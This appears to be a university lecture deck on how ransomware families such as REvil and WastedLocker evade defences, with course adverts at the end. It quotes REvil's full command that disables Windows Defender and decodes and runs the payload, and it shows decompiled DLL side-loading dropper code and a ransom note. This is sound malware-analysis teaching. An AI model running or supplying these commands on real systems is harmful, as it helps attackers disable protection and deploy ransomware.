

Professional Master in Information Security

[protecting computer-based systems and digital information] [promisedu.se]

Defense evasions techniques used in ransomware attacks

by Dr. Alexander Adamov, Senior Lecturer at BTH

Blekinge Tekniska Högskola



REvil delivery via Kaseya VSA server

Happy Blog

KASEYA ATTACK INFO

On Friday (02.07.2021) we launched an attack on MSP providers. More than a million systems were infected. If anyone wants to negotiate about universal decryptor - our price is 70 000 000\$ in BTC and we will publish publicly decryptor that decrypts files of all victims, so everyone will be able to recover from attack in less than an hour. If you are interested in such deal - contact us using victims "readme" file instructions.



Blog search	Search
-------------	--------

Logs from the compromised system

100 % - 4

-		and the state of the						
-	eventTime	emailAddr	agentGuid	scriptName	scriptId	description	actionAdmin	script oald
582	2021-07-02 12:25:04.003	NULL		Webroot Registry Active Threats 64		Script Summary: Success THEN	"System"	sameogia
683	2021-07-02 12:25:04.003	NULL	123456789	Run KSrvrChk App		Script Summary: Success THEN	oystem	
684	2021-07-02 12:25:03.003	NULL		Webroot Registry Status 64	-11	Script Summary: Success THEN	*Sustam*	
685	2021-07-02 12:25:03.000	NULL	123456789	Archive and Purge Logs		Script Summary: Success THEN	System	
686	2021-07-02 12:25:03.000	NULL		Webroot Registry Status 64	1111	Informational: Get File command overwrote the serve	"Sustan"	
687	2021-07-02 12:24:57.007	NULL		Webroot Registry Active Threats 64		Script Summary: Success THEN	"System"	1
688	2021-07-02 12:24:54.007	NULL		Webroot Registry Active Threats 64		Script Summary: Success THEN	"Sustan"	
689	2021-07-02 12:24:47.373	NULL		Kaseya VSA Agent Hot Fix		Script Summary: Success THEN	"Suetern"	
690	2021-07-02 12:24:45.367	NULL		WR_Install_HealthCheck_6432		Script Summary: Success THEN	"outer"	
691	2021-07-02 12:24:46:363	NULL		WR_Service_HealthCheck_6432_01		Script Summary: Success THEN	"mantem"	
692	2021-07-02 12:24:46.360	NULL		Write text to file		Script Summary: Success THEN	'system'	T ₁
693	2021-07-02 12:24:45:357	NULL		Write text to file-0001		Script Summary: Success THEN	"system"	
694	2021-07-02 12:24:45:353	NULL		Write text to file-0002		Script Summary: Success ELSE	'system'	
695	2021-07-02 12:24:45.347	NULL		WR_Install_HealthCheck_6432_01		Script Summary: Success THEN	"system"	
696	2021-07-02 12:24:45:343	NULL		WR_Install_HealthCheck_6432_02		Script Summary: Success THEN	"system"	
697	2021-07-02 12:24:45:34	NULL		Write text to file		Script Summary: Success THEN	"system"	
698	2021-07-02 12:24:45:33	NULL		Write text to file-0001		Script Summary: Success THEN	"system"	
63	2021-07-02 12:24:45:33	3 NULL		Write text to file-0002		Script Summary: Success ELSE	*system*	
10	2021-07-02 12:24:44 32	7 NULL		Windows - 32 or 64 bit OS		Script Summary: Success THEN	"system"	
0	Query executed successfu	dly.						

Disabling Windows Defender by 'Kaseya's' script

"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 -n 5693 > nul & C:\Windows\System32\WindowsPowerShell\v1. 0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring \$true -DisableIntrusionPreventionSystem \$true -DisableIOAVProtection \$true -DisableScriptScanning \$true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe & exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe

Using digital signature

agent.exe Properti	es		×			
Security	Details	Previous Versions	Digital Signature Details ? ×			
General	Compatibility	Digital Signatures				
Signature list			General Advanced Digital Signature Information			
Name of signer:	Digest algorith	nm Timestamp	This digital signature is OK.			
PB03 TRANSPO	RT LTD. sha256	Not available				
			Signer information			
<		>	PB03 TRANSPORT LTD.			
			E-mail: Brouillettebusiness@outlook.com			
		Details	Signing time: Not available			
			View Certificate Countersignatures			
			Name of signer: E-mail address: Timestamp			
50	PHOSLO	bs	Details			
	ОК	Cancel Appl	OK V			

Source: https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/

LockerGoga - Feb 2019

LockerGoga were supplied with the certificates issued to Alina Ltd, Kitty's Ltd., Mikl Limited, and AB Simba Limited.



ils Certification Path
ertificate Information
ficate has been revoked by its certification
ed to: ALISA LTD
ed by: Sectigo RSA Code Signing CA
from 2/22/2019 to 2/22/2020
Install Certificate Issuer Statement

MegaCortex - May 2019

Certificate				X
General	Details	Certification	Path	
Show:	<all></all>		▼	
Field			Value	*
📴 Va	lid from		Thursday, March 14, 2019 6:00:00 PM	
📴 Va	lid to	1	Saturday, March 14, 2020 5:59:59 PM	
🕞 Su	bject		3AN LIMITED, 3AN LIMITED, ROMFORD,	=
E Pu	blic key		RSA (2048 Bits)	
Ba	sic Constr	aints	Subject Type=End Entity, Path Length Co	



MegaCortex.

openssl x509 -noout -serial -fingerprint -subject -issuer -ocsp_uri < cert-3AN-thawte.pem serial=04C7CDCC1698E25B493EB4338D5E2F8B SHA1 Fingerprint=60:97:4F:5C:C6:54:E6:F6:C0:A7:33:2A:97:33:E4:2F:19:18:6F:BB subject= /C=GB/L=ROMFORD/O=3AN LIMITED/CN=3AN LIMITED issuer= /C=US/O=thawte, Inc./CN=thawte SHA256 Code Signing CA http://tl.symcd.com

Learn more about <u>certificate det</u>	Edit Properties	Copy to File	
		ОК	



DLL Side-Loading Attack

```
v4 = FindResourceW(0, (LPCWSTR)0x65, L"SOFTIS");
if ( v4 )
  v5 = LoadResource(0, v4);
  if (v5)
    dword_4143A0 = (int)LockResource(v5);
    v6 = FindResourceW(0, (LPCWSTR)0x66, L"MODLIS");
    if ( v6 )
      v7 = LoadResource(0, v6);
      if (v7)
        dword_4143A4 = (int)LockResource(v7);
        drop_to_windows(0xC5588u, dword_4143A4, L"mpsvc.dll");
        v8 = drop_to_windows(0x56D0u, dword_4143A0, L"MsMpEng.exe");
        StartupInfo.cb = 68;
        CreateProcessW((LPCWSTR)v8, lpCommandLine, 0, 0, 0, 0x230u, 0, 0, &StartupInfo, &ProcessInformation);
return 0;
```

SOPHOSlabs

DLL Side-Loading Attack

MsMpEng.exe Pro	perties		\times
Security General	Details Compatibility	Previous Versions Digital Signatures	
Signature list Name of signer: Microsoft Corpora Microsoft Corpora	Digest algorithm a sha1 a sha256	Timestamp Sunday, March 23, 2014 Sunday, March 23, 2014	
<		> Details	
	SOF	PHOSLA	DS
	ОК	Cancel App	bly

Source: https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/

REvil Ransom note

Your computer has been infected!

-	_	
	_	_
-		
	0	
		_

Your documents, photos, databases and other important files encrypted

You have	
* If you do not pay on time, <u>the</u>	price will be doubled
* Time ends on	
Monero address:	



To decrypt your files you need to buy our special software -7pc78r01-Decryptor



Follow the instructions below. But remember that you do not have much time



Current price 214.29108787 XMR

≈ 44,999 USD

After time ends 428.58217574 XMR

≈ 89,998 USD

* XMR will be recalculated in 5 hours with an actual rate.

Kaseya phishing campaign



NotPetya - 27 June 2017



WastedLocker overview

- Operated by the *Evil Corp* group
- Attacked at least 31 US-based corporations since May 2020 including *Garmin* on July 23, 2020
- The ransom varies from \$500,000 to \$10 million in Bitcoin
- Defense Evasion techniques that includes *Digital Signing, Alternate Data Streams*, and *Lazy Writing*



Garmin 🕗 @Garmin · Jul 23

We are currently experiencing an outage that affects Garmin Connect, and as a result, the Garmin Connect website and mobile app are down at this time.



Garmin 🤣 @Garmin · Jul 23

This outage also affects our call centers, and we are currently unable to receive any calls, emails or online chats. We are working to resolve this issue as quickly as possible and apologize for this inconvenience. (2/2)

 \sim



Garmin 🤣 @Garmin · Jul 27

We are happy to report that many of the systems and services affected by the recent outage, including Garmin Connect, are returning to operation. Some features still have temporary limitations while all of the data is being



Russian Evil Corp

= WIRED BACHENARAEL BUSINESS CULTURE DEAR IDEAS SCIENCE SECORITY

SUBSCRIBE S168 18

Alleged Russian Hacker Behind \$100 Million Evil Corp Indicted

The US is charging Maksim Yakubets over two of the biggest cybertheft campaigns of the last decade, and offers a record reward for information on the case.



Alleged Evil Corp masterment Makater Yakubets stands nort to its Lamborghen Hurasian. COURTESY OF THE UK MATIONAL CRIME ACCMUT





Aliases: Maksim Yakubets, "AQUA" Date(s) of Birth Used: May 20, 1987 Hair: Brown Height: Approximately 5'10" Sex: Male Citizenship: Russian

Yakubets.

WANTED **BY THE FBI**

MAKSIM VIKTOROVICH YAKUBETS

Conspiracy; Conspiracy to Commit Fraud; Wire Fraud; Bank Fraud; Intentional Damage to a Computer









REWARD

The United States Department of State's Transnational Organized Crime Rewards Program is offering a reward of up to \$5 million for information leading to the arrest and/or conviction of Maksim Viktorovich

Defense evasion: Digital signing

Self-signed certificate

- Issued to: YZCKUEONYQSURZWORG
- Issued by: YZCKUEONYQSURZWORG
- Valid: June 2, 2020 31 December, 2039
- Signing time: Wednesday, June 10, 2020

<u>Signer</u> information	
Name:	YZCKUEONYQSURZWORG
E-mail:	Not available
Signing time:	Wednesday, June 10, 2020 9:12:22 PM
	View Certificate



Defense evasion: Alternate Data Stream

WastedLocker drops its payload to <random word>:bin stream that is not visible in the File Explorer.

C:\Users\IEUser\A
streams v1.60 - R Copyright (C) 200 Sysinternals - ww
C:\Users\IEUser\A :bin

🖃 🎡 ida64.exe	0.19	113,196 K	4,00	ΟK	1492 The Interactive Disassembler	Hex-Rays SA
🖃 🎦 wastedlocker.exe		2,400 K	56	ВK	5156 Launchy	Code Jelly
Join:bin	Susp	1,688 K	22	ОК	8704 Launchy	Code Jelly
💽 ida64.exe	0.21	137,656 K	47,96	8 K	8520 The Interactive Disassembler	Hex-Rays SA
procexp64.e Command Line:			48,76	4 K	3312 Sysinternals Process Explorer	Sysinternals - www.sysinter
MusNotification C:\Users\IEUser\AppData\Roaming\Join:bin		:bin 7,21	6 K	3088 MusNotificationUx.exe	Microsoft Corporation	
Path:						
C:\Users\IEUse	er∖AppDa	ta\Roaming\Join	:bin			

\ppData\Roaming>c:\streams64.exe Join

Reveal NTFS alternate streams. 95-2016 Mark Russinovich w.sysinternals.com

\ppData\Roaming\Join:
\:\$DATA 1076112

Defense evasion: Lazy Writing

Regular flow

- 1. CreateFile() open file
- 2. GetFileSize()
- 3. CreateFileMapping()
- 4. MapViewOfFile()
- 5. Modify mapped data
- 6. UnmapViewOfFile()
- 7. CloseHandle(file map)
- 8. CloseHandle(file)

WastedLocker way

- 1. CreateFile() open file
- 2. GetFileSize()
- 3. CreateFileMapping()
- 4. MapViewOfFile()
- 5. CloseHandle(file)
- 6. Encrypt mapped data
- 7. UnmapViewOfFile()
- 8. CloseHandle(file map)

Demo: WastedLocker's Lazy Writing



Library function Regular function Instruction Debug View Instruction Instructi	Image: State Commander (464) 9.22 0 10 °C. E\$07rE104+"b.?N=HEHR0.01A0';U'-Dăxă' q[«S518C\fz*.pbA>*31"" cQA* Eles Mark Commands Mar Commands
DA Vew-RIP G text:00406f50 push edi .text:00406f55 push 0C000000h .text:00406f63 push dword ptr [ebp+8] .text:00406f66 mov dword ptr [ebp-4], 400000h .text:00406f60 call dsioff 40006C text:00406f60 call dsioff 40006C	Process Monitor - Sysinternals: www.sysinternals.com — □ × le Edit Event Filter Tools Options Help Image: Process Name Piocess Name Piocess Name <td< th=""></td<>
<pre>text:00406F75 mov [ebp+8], eax text:00406F77 ji loc_407000 text:00406F77 push ebx text:00406F82 push edi text:00406F82 push edi text:00406F82 push edi text:00406F83 push edi text:00406F85 push edi text:00406F87 call ds:off 409150 ; CreateFileMaping text:00406F87 call ds:off 409150 ; CreateFileMaping text:00406F92 ji short loc_406FF9 text:00406F94 push 20h text:00406F94 push 20h text:00406F94 push 20h text:00406F94 push 20h text:00406F95 push edi text:00406F95 push edi text:00406F94 push 20h text:00406F95 push edi text:00406F94 push 20h text:00406F94 push 20h text:00406F95 push edi text:00406F94 push 20h text:00406F95 push edi text:00406F94 push 20h text:00406F95 push edi text:00406F94 push 20h text:00406F95 push edi text</pre>	205. C.Ubera VELiver Devictop Velig, ym32, postable base do ELF-FASM 4 ag rhwasted SUCCESS Deared Access: Genetic Read/Write: Disposition: PAGE 210. Valori eve 735 County-Eleven UELiver Devictop Velig, ym32, postable base do ELF-FASM 4 ag rhwasted SUCCESS Access: Genetic Read/Write: Disposition: PAGE 210. Valori eve 735 County-Eleven VELiver Devictop Velig, ym32, postable base do ELF-FASM 4 ag rhwasted SUCCESS Access: Genetic Read/Write: Disposition: PAGE 210. Valori eve 735 County-Eleven VELiver Devictop Velig, ym32, postable base do ELF-FASM 4 ag rhwasted SUCCESS Access: Genetic Read/Write: Disposition: PAGE 210. Valori eve 735 County-Eleven VELiver Devictop Velig, ym32, postable base do ELF-FASM 4 ag rhwasted SUCCESS Sync Type: Sync Type: Sync Type: Sync Type: Other 210. Valori eve 735 County-Eleven VELiver Devictop Velig, ym32, postable base do ELF-FASM 4 ag rhwasted SUCCESS Sync Type: Sync Type: Other 211. Valori eve County-Eleven VELiver Devictop Velig, ym32, postable base do ELF-FASM 4 ag rhwasted SUCCESS SUCCESS Access: Genetic Read, Paging Uo. S 212. Valori eve County-Eleven VELiver Devictop Velig, ym32, postable base do ELF-FASM 4 ag rhwasted SUCCESS SUCCESS SUCCESS <
AA30 01 00 65 00 65 00 20 00 30 00 01 00 01 00 73 00 61 00 7.e.eP.a.s.c. AA30 01 00 62 00 22 00 34 00 22 00 73 00 67 00 22 00 AA30 72 00 62 00 68 00 77 00 61 00 73 00 74 00 65 00 r.l.h.w.a.s.t.e. CMMS 00000000066AA47: debug024:aCVsersIeuserDe_0+37	owing 32 of 2,537,230 events (0.0012%) Backed by virtual memory
Dutputwindow shing buffers, please waitok 180: using existing software breakpoint as temporary breakpoint	Utiliaioa 0 k / 152 k in 0 / 2 file(s), 0 / 7 dir(c:\Users\/EUser\Desktop) F3 View
e Down Disk: 2168	名 へ ¹¹⁴

Delivery mechanism



Source: https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

Summary

1. Initial access and delivery

- a. Supply-chain and trusted partnership
- b. Using first-stage trojans

2. Defense evasion

- a. Digital signatures
- b. Disabling Windows Defender
- c. DLL Side-Loading
- d. Alternate Data Streams
- e. Lazy writing

3. and many more ...





ola@bth.se



Upcoming Courses Spring 2022

Advanced Digital Forensics 7,5 credits Malware Analysis 7,5 credits **Machine Learning Security 6 credits Data-Driven Security 3 credits**

All courses are designed for professionals All courses are given Online and flexible App 25% Study Pace (January 17th – 5th June, 2022) Free of charge, University credits

Orange

Cyberdefense

🔉 BoraWarner

CCDCOE

Visit promisedu.se for more info

Quality Assurance of Security Aware Applications 6 credits





Advanced Digital Forensics 7,5 credits – Oleksii Baranovskyi & Anders Carlsson

Companies and their IT systems are affected by advanced intrusions, various ransomware attacks and or thefts of both sensitive and secret information. In case of being compromised companies need to understand their weak points, ways of intrusion and attackers attributes.

The course focuses on developing the student's skills to investigate and analyze complex cyber attacks (Cyber Kill Chain) and to track the threat actor, discover exploited vulnerabilities so that companies can restore data and system integrity.

Machine Learning Security 6 credits – Vlad Tkach



This course is divided into the following two parts. First, it covers security problems in Machine Learning (ML) systems, e.g., showing various types of attacks on ML systems in an applied fashion -adversarial ML. Secondly, available methods, tools and other safeguards that could be used against the different types of attacks are covered.

The course includes both theoretical introductions to the different attack types and security-enhancing methods and tools, as well as more practical hands-on assignments in Python. After the course the student will have obtained basic knowledge about security-enhancing approaches, and how to use them in order to protect against various risks in ML systems and how to use ML to detect cyber attacks.



Malware Analysis 7,5 credits – Alexander Adamov

Companies and their IT systems are affected by advanced intrusions, various ransomware attacks and or thefts of both sensitive and secret information. In case of being compromised companies need to understand their weak points, ways of intrusion and attackers attributes.

The course focuses on developing the student's skills to investigate and analyze complex cyber attacks (Cyber Kill Chain) and to track the threat actor, discover exploited vulnerabilities so that companies can restore data and system integrity.



Data-Driven Security 3 credits – Vlad Tkach

Organisations today produce a large amount of data. This course covers how to utilize that data for cybersecurity purposes. It covers topics such as how to acquire (e.g., through SIEM) and prepare security data, from collection and storage to management and analysis as well as visualization and presentation, predicting rouge behaviours, and correlate security events. How to use data science to understand and communicate security problems.



Quality Assurance of Security Aware Applications – Davide Fucci & Emil Alégroth

The purpose of this course is to show how fundamental testing practices are applied in the context of secure software development. The student will learn to integrate automated software testing with different approaches to verify software security, leveraging theories from continuous quality assurance in software development, as well as security best practices.



The course is adapted to give a solid introduction to non-testing experts with an interest in software security, and addresses both how professionals (developers, managers, decision-makers) can incorporate security into the quality assurance process of their products/service

Visit promisedu.se for more info

